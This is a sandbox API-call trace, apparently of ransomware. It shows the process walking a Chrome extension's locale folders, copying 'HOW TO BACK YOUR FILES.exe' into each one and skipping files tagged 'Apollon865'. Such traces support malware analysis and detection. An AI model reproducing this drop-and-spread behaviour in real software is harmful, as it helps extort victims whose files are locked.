	[0047.515] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nl", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nl") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nl"
	[0047.515] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5aedf8 | out: hHeap=0x580000) returned 1
	[0047.515] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a01a8 | out: hHeap=0x580000) returned 1
	[0047.515] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nl") returned 146
	[0047.515] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nl" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nl") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nl"
	[0047.515] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.515] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nl\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nl\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.522] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.522] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nl\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835794e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34642ed0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34642ed0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca490
	[0047.523] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.523] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.523] lstrcpyW (in: lpString1=0x2d3e676, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0047.523] lstrlenW (lpString="messages.json") returned 13
	[0047.523] lstrlenW (lpString="Apollon865") returned 10
	[0047.523] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0047.523] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nb", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nb") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nb"
	[0047.523] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5aecc0 | out: hHeap=0x580000) returned 1
	[0047.523] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a0188 | out: hHeap=0x580000) returned 1
	[0047.523] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nb") returned 146
	[0047.523] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nb" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nb") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nb"
	[0047.523] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.523] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nb\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nb\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.527] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.527] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nb\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835041e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34669030, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34669030, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca490
	[0047.527] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.527] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.527] lstrcpyW (in: lpString1=0x2d3e676, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0047.527] lstrlenW (lpString="messages.json") returned 13
	[0047.527] lstrlenW (lpString="Apollon865") returned 10
	[0047.527] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0047.528] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ms", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ms") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ms"
	[0047.528] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5aeb88 | out: hHeap=0x580000) returned 1
	[0047.528] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a0168 | out: hHeap=0x580000) returned 1
	[0047.528] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ms") returned 146
	[0047.528] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ms" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ms") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ms"
	[0047.528] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.528] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ms\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ms\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.629] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.629] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ms\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834fccb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x3474d870, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3474d870, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0047.629] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.629] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.629] lstrcpyW (in: lpString1=0x2d3e676, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0047.629] lstrlenW (lpString="messages.json") returned 13
	[0047.629] lstrlenW (lpString="Apollon865") returned 10
	[0047.629] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0047.629] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\mr", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\mr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\mr"
	[0047.630] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5aea50 | out: hHeap=0x580000) returned 1
	[0047.630] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a0148 | out: hHeap=0x580000) returned 1
	[0047.630] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\mr") returned 146
	[0047.630] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\mr" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\mr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\mr"
	[0047.630] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.630] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\mr\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\mr\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.634] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.634] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\mr\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834f0960, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x347739d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x347739d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0047.634] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.634] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.634] lstrcpyW (in: lpString1=0x2d3e676, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0047.634] lstrlenW (lpString="messages.json") returned 13
	[0047.634] lstrlenW (lpString="Apollon865") returned 10
	[0047.634] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0047.634] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ml", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ml") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ml"
	[0047.634] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ae918 | out: hHeap=0x580000) returned 1
	[0047.634] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a0128 | out: hHeap=0x580000) returned 1
	[0047.634] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ml") returned 146
	[0047.634] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ml" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ml") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ml"
	[0047.634] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.635] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ml\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ml\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.640] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.640] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ml\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834e9430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x347739d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x347739d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0047.640] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.640] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.640] lstrcpyW (in: lpString1=0x2d3e676, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0047.640] lstrlenW (lpString="messages.json") returned 13
	[0047.640] lstrlenW (lpString="Apollon865") returned 10
	[0047.640] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0047.640] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lv", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lv"
	[0047.641] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ae7e0 | out: hHeap=0x580000) returned 1
	[0047.641] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a0108 | out: hHeap=0x580000) returned 1
	[0047.641] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lv") returned 146
	[0047.641] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lv" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lv"
	[0047.641] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.641] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lv\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lv\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.651] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.651] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lv\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834da9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x347739d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x347739d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0047.651] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.651] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.651] lstrcpyW (in: lpString1=0x2d3e676, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0047.651] lstrlenW (lpString="messages.json") returned 13
	[0047.651] lstrlenW (lpString="Apollon865") returned 10
	[0047.651] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0047.651] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lt", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lt"
	[0047.652] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ae6a8 | out: hHeap=0x580000) returned 1
	[0047.652] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a00e8 | out: hHeap=0x580000) returned 1
	[0047.652] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lt") returned 146
	[0047.652] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lt"
	[0047.652] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.652] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lt\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lt\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.656] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
